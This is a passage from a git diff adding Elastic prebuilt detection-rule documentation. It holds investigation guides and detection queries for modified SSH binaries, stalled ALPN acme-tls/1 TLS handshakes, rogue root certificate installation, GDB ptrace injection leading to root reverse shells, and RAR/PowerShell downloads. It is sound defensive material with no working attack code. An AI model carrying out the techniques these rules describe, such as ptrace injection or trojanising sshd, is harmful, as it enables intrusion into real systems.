new benign software installation activity, consider adding exceptions — preferably with a combination of user and command line conditions. +- If this activity is related to a system administrator that performed these actions for administrative purposes, consider adding exceptions for this specific administrator user account. +- Try to understand the context of the execution by thinking about the user, machine, or business purpose. A small number of endpoints, such as servers with unique software, might appear unusual but satisfy a specific business need. + + +*Response and Remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Leverage the incident response data and logging to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend +- Auditbeat + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditbeat Setup* + +Auditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations. + + +*The following steps should be executed in order to add the Auditbeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html[helper guide]. +- To run Auditbeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html[helper guide]. +- To run Auditbeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html[helper guide]. +- For complete “Setup and Run Auditbeat” information refer to the https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:file and host.os.type:linux and event.type:change and +process.name:(* and not ( + dnf or dnf-automatic or dpkg or yum or rpm or yum-cron or anacron or platform-python* or + apk or ansible-admin or systemd or python* or yum or nix-daemon or nix + ) +) and +(file.path:(/usr/bin/scp or + /usr/bin/sftp or + /usr/bin/ssh or + /usr/sbin/sshd) or +file.name:libkeyutils.so) and +not ( + process.executable:( + /usr/share/elasticsearch/* or "/usr/bin/microdnf" or "/usr/bin/dnf5" or "/usr/sbin/gdm" or + "/usr/libexec/packagekitd" or "/usr/libexec/zypp/zypp-rpm" or "/home/sa-ansible" + ) or + file.Ext.original.name:"sshd.session-split" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Technique: +** Name: Compromise Host Software Binary +** ID: T1554 +** Reference URL: https://attack.mitre.org/techniques/T1554/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SSH +** ID: T1021.004 +** Reference URL: https://attack.mitre.org/techniques/T1021/004/ +* Technique: +** Name: Remote Service Session Hijacking +** ID: T1563 +** Reference URL: https://attack.mitre.org/techniques/T1563/ +* Sub-technique: +** Name: SSH Hijacking +** ID: T1563.001 +** Reference URL: https://attack.mitre.org/techniques/T1563/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-repeated-stalled-tls-handshakes-via-alpn-acme-tls-1-extension.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-repeated-stalled-tls-handshakes-via-alpn-acme-tls-1-extension.asciidoc new file mode 100644 index 0000000000..2bed647bc6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-repeated-stalled-tls-handshakes-via-alpn-acme-tls-1-extension.asciidoc @@ -0,0 +1,216 @@ +[[prebuilt-rule-8-19-34-repeated-stalled-tls-handshakes-via-alpn-acme-tls-1-extension]] +=== Repeated Stalled TLS Handshakes via ALPN acme-tls/1 Extension + +This rule detects two ALPN-based denial-of-service patterns against TLS servers. The first identifies repeated stalled handshakes advertising the acme-tls/1 ALPN extension with no session established, indicating potential goroutine or worker exhaustion in reverse proxies. The second matches connections where a malformed ALPN extension triggers TLS alerts such as decode_error or illegal_parameter, consistent with zero-length ALPN list exploitation. Both patterns are anomalous outside of scheduled ACME TLS-ALPN-01 certificate validation activity. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 5 + +*References*: + +* https://nvd.nist.gov/vuln/detail/CVE-2026-22045 +* https://nvd.nist.gov/vuln/detail/CVE-2024-5535 +* https://www.rfc-editor.org/rfc/rfc8737 +* https://www.elastic.co/guide/en/beats/packetbeat/current/configuration-tls.html + +*Tags*: + +* Domain: Network +* Use Case: Threat Detection +* Use Case: Network Security Monitoring +* Use Case: Vulnerability +* Data Source: Network Traffic +* Tactic: Impact +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Threat: Vulnerability Exploit +* Rule Type: ES|QL +* Data Source: Network Packet Capture + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Repeated Stalled TLS Handshakes via ALPN acme-tls/1 Extension* + + +This rule fires when five or more TLS connections from the same source IP to the same destination IP +are recorded where the ClientHello advertises `acme-tls/1` as an ALPN protocol, the handshake never +completes (`tls.established: false`), or where malformed ALPN data produces a relevant TLS alert. +Individually, an incomplete ACME challenge can be a transient network issue. In volume, this pattern is +consistent with attempts to exhaust reverse proxy resources, including CVE-2026-22045, and cause a +denial of service. + +Packetbeat TLS events describe the TLS handshake and do not include connection byte totals or reliable +elapsed duration for an incomplete handshake. Use `network_traffic.flow` events correlated by +`network.community_id` when byte counts or connection duration are required during investigation. + +`acme-tls/1` is legitimately used only by ACME certificate clients performing TLS-ALPN-01 domain +validation. Repeated stalled sessions outside of scheduled certificate renewal windows are anomalous. + + +*Possible investigation steps* + + +- Identify the source IP (`source.ip`) and verify whether it belongs to a known ACME certificate + authority (Let's Encrypt: 66.133.109.0/24, 172.65.32.248/28; ZeroSSL; Buypass) or an authorized + internal ACME renewal agent. Traffic from unexpected sources is the primary indicator of exploitation. +- Pivot to `destination.ip` and `destination.port` to determine which TLS listener is targeted and + whether it is internet-exposed. Traefik, nginx, HAProxy, and similar reverse proxies are the + most likely targets. +- Count total stalled events from the same `source.ip` over the past hour to understand the full + attack volume: + ```esql + FROM logs-network_traffic.tls* + | WHERE tls.detailed.client_hello.extensions.application_layer_protocol_negotiation == "acme-tls/1" + AND tls.established == false + | STATS count = COUNT(*) BY source.ip, destination.ip, destination.port + | SORT count DESC + ``` +- If flow reporting is enabled, correlate `logs-network_traffic.flow-*` events on `network.community_id` + to review `network.bytes`, `source.bytes`, `destination.bytes`, and `event.duration`. +- Check server-side metrics on the destination host around the alert time: goroutine count for Go + services (Traefik, Caddy), worker or thread count for nginx or HAProxy, and TCP accept queue depth. + Saturation aligned with the alert window confirms impact. +- Review whether the targeted service is patched for CVE-2026-22045. Traefik versions before the + fix did not enforce handshake timeouts on acme-tls/1 listeners, allowing indefinite goroutine hold. + + +*False positive analysis* + + +- cert-manager, Certbot, or Caddy ACME clients produce `acme-tls/1` connections during certificate + renewal. These complete quickly under normal conditions; isolated stalled events from recognized + ACME client IPs are likely transient network issues, not attacks. The threshold of five events within + the detection window suppresses most one-off failures. +- Load balancer health checks misconfigured to probe with TLS-ALPN-01 can generate this pattern; + identify the health check source IP and add it to the exception list. + + +*Response and remediation* + + +- If the source IP is not a known ACME CA or authorized renewal agent, block it at the perimeter. +- Upgrade Traefik to a version patched for CVE-2026-22045. Apply equivalent handshake-timeout + configurations on other reverse proxies (`ssl_handshake_timeout` in nginx). +- Enforce a TLS handshake timeout at the listener level to bound how long any stalled connection + can hold a goroutine or worker slot. +- Rate-limit inbound TLS connections per source IP at the network boundary to limit the blast radius + of connection-exhaustion attacks. +- If service degradation is confirmed, restart the affected reverse proxy after applying timeout + mitigations to recover exhausted resources. + + +==== Setup + + + +*Setup* + + +This rule requires the Elastic Agent `network_traffic` integration with TLS protocol parsing enabled +and `include_detailed_fields: true` (the default). Without this setting, the field +`tls.detailed.client_hello.extensions.application_layer_protocol_negotiation` is not populated and +the rule will not match. + +Verify your `network_traffic` integration configuration includes: + +```yaml +packetbeat.protocols: + - type: tls + ports: [443, 8443, 9443] + include_detailed_fields: true + transaction_timeout: 30s +``` + +Adjust the port list to cover all TLS listeners in your environment that could be targeted, including +reverse proxy listeners and custom TLS service ports. The `include_detailed_fields` key defaults to +`true`; if it was explicitly disabled, re-enable it and restart the agent. + +Packetbeat's default TLS `transaction_timeout` is 10 seconds. Incomplete handshakes that remain idle +beyond this timeout can expire without producing a `network_traffic.tls` event. Configure +`transaction_timeout` to exceed the longest incomplete-handshake interval you intend to observe. The +example above uses 30 seconds; increasing this value retains connection state longer and can increase +memory usage on high-volume sensors. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-network_traffic.tls* +| where source.ip is not null and destination.ip is not null and ( + ( + tls.detailed.client_hello.extensions.application_layer_protocol_negotiation == "acme-tls/1" and + tls.established == false + ) or ( + CONTAINS(TO_LOWER(tls.detailed.client_hello.extensions._unparsed_), "alpn") and + tls.detailed.alert_types in ("decode_error", "illegal_parameter") + ) + ) +| stats + Esql.event_count = COUNT(*), + Esql.destination_port_values = MV_SLICE(MV_DEDUPE(TOP(destination.port, 10, "asc")), 0, 10), + Esql.network_community_id_values = MV_SLICE(MV_DEDUPE(TOP(network.community_id, 10, "asc")), 0, 10), + Esql.alpn_values = MV_SLICE( + MV_DEDUPE(TOP(tls.detailed.client_hello.extensions.application_layer_protocol_negotiation, 10, "asc")), + 0, + 10 + ), + Esql.alert_type_values = MV_SLICE(MV_DEDUPE(TOP(tls.detailed.alert_types, 10, "asc")), 0, 10) + by source.ip, destination.ip +| where Esql.event_count >= 5 +| keep + source.ip, + destination.ip, + Esql.event_count, + Esql.destination_port_values, + Esql.network_community_id_values, + Esql.alpn_values, + Esql.alert_type_values + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Endpoint Denial of Service +** ID: T1499 +** Reference URL: https://attack.mitre.org/techniques/T1499/ +* Sub-technique: +** Name: Service Exhaustion Flood +** ID: T1499.002 +** Reference URL: https://attack.mitre.org/techniques/T1499/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-root-certificate-installation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-root-certificate-installation.asciidoc new file mode 100644 index 0000000000..b00980f27c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-root-certificate-installation.asciidoc @@ -0,0 +1,176 @@ +[[prebuilt-rule-8-19-34-root-certificate-installation]] +=== Root Certificate Installation + +This rule detects the installation of root certificates on a Linux system. Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to their command and control servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* endgame-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.004/T1553.004.md + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 107 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Root Certificate Installation* + + +Root certificates are pivotal in establishing trust within public key infrastructures, enabling secure communications by verifying the authenticity of entities. Adversaries exploit this by installing rogue root certificates on compromised Linux systems, thus bypassing security warnings and facilitating undetected command and control communications. The detection rule identifies suspicious certificate installations by monitoring specific processes and excluding legitimate parent processes, thereby highlighting potential unauthorized activities. + + +*Possible investigation steps* + + +- Review the process details to confirm the execution of "update-ca-trust" or "update-ca-certificates" on the Linux host, focusing on the event type "start" and action "exec" or "exec_event". +- Examine the parent process name and arguments to ensure they do not match any of the legitimate exclusions such as "ca-certificates.postinst", "pacman", or "/var/tmp/rpm*". +- Investigate the user account associated with the process to determine if it is a known or expected user for such operations. +- Check the system logs and recent changes to identify any unauthorized modifications or installations that coincide with the alert. +- Correlate the alert with other security events or logs to identify any potential command and control communications or other suspicious activities on the host. +- Assess the network connections from the host around the time of the alert to detect any unusual or unauthorized outbound traffic. + + +*False positive analysis* + + +- Legitimate system updates or package installations may trigger the rule when processes like "update-ca-trust" or "update-ca-certificates" are executed by trusted package managers such as "pacman" or "pamac-daemon". To mitigate this, ensure these parent processes are included in the exclusion list. +- Automated scripts or system maintenance tasks that use shell scripts (e.g., "sh", "bash", "zsh") to update certificates might be flagged. If these scripts are verified as safe, consider adding specific script names or paths to the exclusion criteria. +- Custom applications or services that require certificate updates and are known to be safe can be excluded by adding their parent process names to the exclusion list, ensuring they do not trigger false alerts. +- Security tools or agents like "kesl" or "execd" that manage certificates as part of their operations may cause false positives. Verify their activities and include them in the exclusion list if they are part of legitimate security operations. +- Temporary files or scripts located in directories like "/var/tmp/rpm*" used during legitimate installations should be reviewed and excluded if they are part of routine system operations. + + +*Response and remediation* + + +- Immediately isolate the affected Linux system from the network to prevent further unauthorized communications with potential command and control servers. +- Revoke any unauthorized root certificates installed on the system by removing them from the trusted certificate store to restore the integrity of the system's trust chain. +- Conduct a thorough review of system logs and process execution history to identify any additional unauthorized activities or changes made by the adversary. +- Restore the system from a known good backup if unauthorized changes or persistent threats are detected that cannot be easily remediated. +- Update and patch the system to the latest security standards to close any vulnerabilities that may have been exploited by the adversary. +- Implement enhanced monitoring and alerting for similar suspicious activities, focusing on process executions related to certificate management. +- Escalate the incident to the security operations center (SOC) or relevant incident response team for further investigation and to assess the potential impact on other systems within the network. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "exec_event", "start") and +process.name in ("update-ca-trust", "update-ca-certificates") and not ( + process.parent.name like ( + "ca-certificates.postinst", "ca-certificates-*.trigger", "pacman", "pamac-daemon", "autofirma.postinst", + "ipa-client-install", "su", "platform-python", "python*", "kesl", "execd", "systemd", "flock" + ) or + process.parent.args like "/var/tmp/rpm*" or + (process.parent.name in ("sh", "bash", "zsh") and process.args == "-e") or + process.parent.executable in ( + "/app/update-cert-trust.sh", "/opt/puppetlabs/puppet/bin/puppet", "/opt/puppetlabs/puppet/bin/ruby", + "/start-haproxy", "/usr/bin/entrypoint.sh", "/usr/bin/crun" + ) or + process.parent.args like ( + "/entrypoint.sh", "/entrypoint", "./bootstrap-RHEL*", "lib/apk/exec/ca-certificates-*trigger" + ) or + ?process.working_directory == "/var/lib/rancher" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Subvert Trust Controls +** ID: T1553 +** Reference URL: https://attack.mitre.org/techniques/T1553/ +* Sub-technique: +** Name: Install Root Certificate +** ID: T1553.004 +** Reference URL: https://attack.mitre.org/techniques/T1553/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-root-network-connection-via-gdb-cap-sys-ptrace.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-root-network-connection-via-gdb-cap-sys-ptrace.asciidoc new file mode 100644 index 0000000000..e43bb567dc --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-root-network-connection-via-gdb-cap-sys-ptrace.asciidoc @@ -0,0 +1,199 @@ +[[prebuilt-rule-8-19-34-root-network-connection-via-gdb-cap-sys-ptrace]] +=== Root Network Connection via GDB CAP_SYS_PTRACE + +Identifies instances where GDB (granted the CAP_SYS_PTRACE capability) is executed, after which an outbound network connection is initiated by UID/GID 0 (root). In Linux, the CAP_SYS_PTRACE capability grants a process the ability to use the ptrace system call, which is typically used for debugging and allows the process to trace and control other processes. Attackers may leverage this capability to hook and inject into a process that is running with root permissions in order to execute shell code and gain a reverse shell with root privileges. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network* +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Execution +* Tactic: Command and Control +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Root Network Connection via GDB CAP_SYS_PTRACE* + + +GDB, a debugger, can be granted the CAP_SYS_PTRACE capability, allowing it to trace and control processes, a feature often exploited by attackers. By injecting code into root processes, adversaries can execute malicious payloads, such as reverse shells. The detection rule identifies suspicious sequences where GDB is used with this capability, followed by a root-initiated network connection, signaling potential privilege escalation or command and control activities. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the presence of GDB with CAP_SYS_PTRACE capability by examining the process name, capabilities, and user ID fields in the alert. +- Investigate the network connection attempt by analyzing the process name and user ID fields to determine if the connection was initiated by a root process. +- Check the timeline of events to ensure the sequence of GDB execution followed by a network connection attempt occurred within the specified maxspan of 30 seconds. +- Identify the destination IP address and port of the network connection to assess if it is known for malicious activity or associated with command and control servers. +- Examine the host system for any signs of compromise or unauthorized changes, focusing on processes and files that may have been affected by the potential privilege escalation. +- Correlate the alert with other security events or logs from the same host to identify any additional suspicious activities or patterns that may indicate a broader attack. + + +*False positive analysis* + + +- Development environments may trigger this rule when developers use GDB with CAP_SYS_PTRACE for legitimate debugging purposes. To mitigate, create exceptions for specific user IDs or processes known to be involved in development activities. +- Automated testing frameworks that utilize GDB for testing applications with root privileges can cause false positives. Identify and exclude these processes or testing environments from the rule. +- System maintenance scripts that require debugging of root processes might inadvertently match the rule criteria. Review and whitelist these scripts or the specific time frames they run to prevent unnecessary alerts. +- Security tools that perform legitimate process tracing as part of their monitoring activities could be mistaken for malicious behavior. Ensure these tools are recognized and excluded from the detection rule. +- Custom administrative scripts that use GDB for process management under root privileges should be documented and excluded to avoid false alarms. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further malicious activity and potential lateral movement. +- Terminate any suspicious processes associated with GDB that have been granted the CAP_SYS_PTRACE capability, especially those initiated by non-root users. +- Conduct a thorough review of the affected system's logs to identify any unauthorized changes or additional malicious activities that may have occurred. +- Reset credentials and review permissions for any accounts that may have been compromised, particularly those with elevated privileges. +- Apply security patches and updates to the affected system to address any vulnerabilities that may have been exploited. +- Implement network monitoring to detect and block any further unauthorized outbound connections from root processes. +- Escalate the incident to the security operations team for further investigation and to assess the potential impact on other systems within the network. + +==== Setup + + + +*Setup* + + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, process.entry_leader.entity_id with maxspan=30s + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and process.name == "gdb" and + (process.thread.capabilities.effective : "CAP_SYS_PTRACE" or process.thread.capabilities.permitted : "CAP_SYS_PTRACE") and + user.id != "0"] + [network where host.os.type == "linux" and event.action == "connection_attempted" and event.type == "start" and + process.name != null and user.id == "0"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Process Injection +** ID: T1055 +** Reference URL: https://attack.mitre.org/techniques/T1055/ +* Sub-technique: +** Name: Ptrace System Calls +** ID: T1055.008 +** Reference URL: https://attack.mitre.org/techniques/T1055/008/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Process Injection +** ID: T1055 +** Reference URL: https://attack.mitre.org/techniques/T1055/ +* Sub-technique: +** Name: Ptrace System Calls +** ID: T1055.008 +** Reference URL: https://attack.mitre.org/techniques/T1055/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-roshal-archive-rar-or-powershell-file-downloaded-from-the-internet.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-roshal-archive-rar-or-powershell-file-downloaded-from-the-internet.asciidoc new file mode 100644 index 0000000000..407be499db --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-roshal-archive-rar-or-powershell-file-downloaded-from-the-internet.asciidoc @@ -0,0 +1,167 @@ +[[prebuilt-rule-8-19-34-roshal-archive-rar-or-powershell-file-downloaded-from-the-internet]] +=== Roshal Archive (RAR) or PowerShell File Downloaded from the Internet + +Detects a Roshal Archive (RAR) file or PowerShell script downloaded from the internet by an internal host. Gaining initial access to a system and then downloading encoded or encrypted tools to move laterally is a common practice for adversaries as a way to protect their more valuable tools and tactics, techniques, and procedures (TTPs). This may be atypical behavior for a managed network and can be indicative of malware, exfiltration, or command and control. + +*Rule type*: query + +*Rule indices*: + +* packetbeat-* +* auditbeat-* +* filebeat-* +* logs-network_traffic.* +* logs-panw.panos* +* logs-fortinet_fortigate.log-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html +* https://www.justice.gov/opa/press-release/file/1084361/download +* https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml + +*Tags*: + +* Use Case: Threat Detection +* Tactic: Command and Control +* Domain: Endpoint +* Data Source: Fortinet +* Data Source: PAN-OS +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Script-Based Execution +* Rule Type: Custom Query (KQL) +* Domain: Network +* Data Source: Network Packet Capture + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + 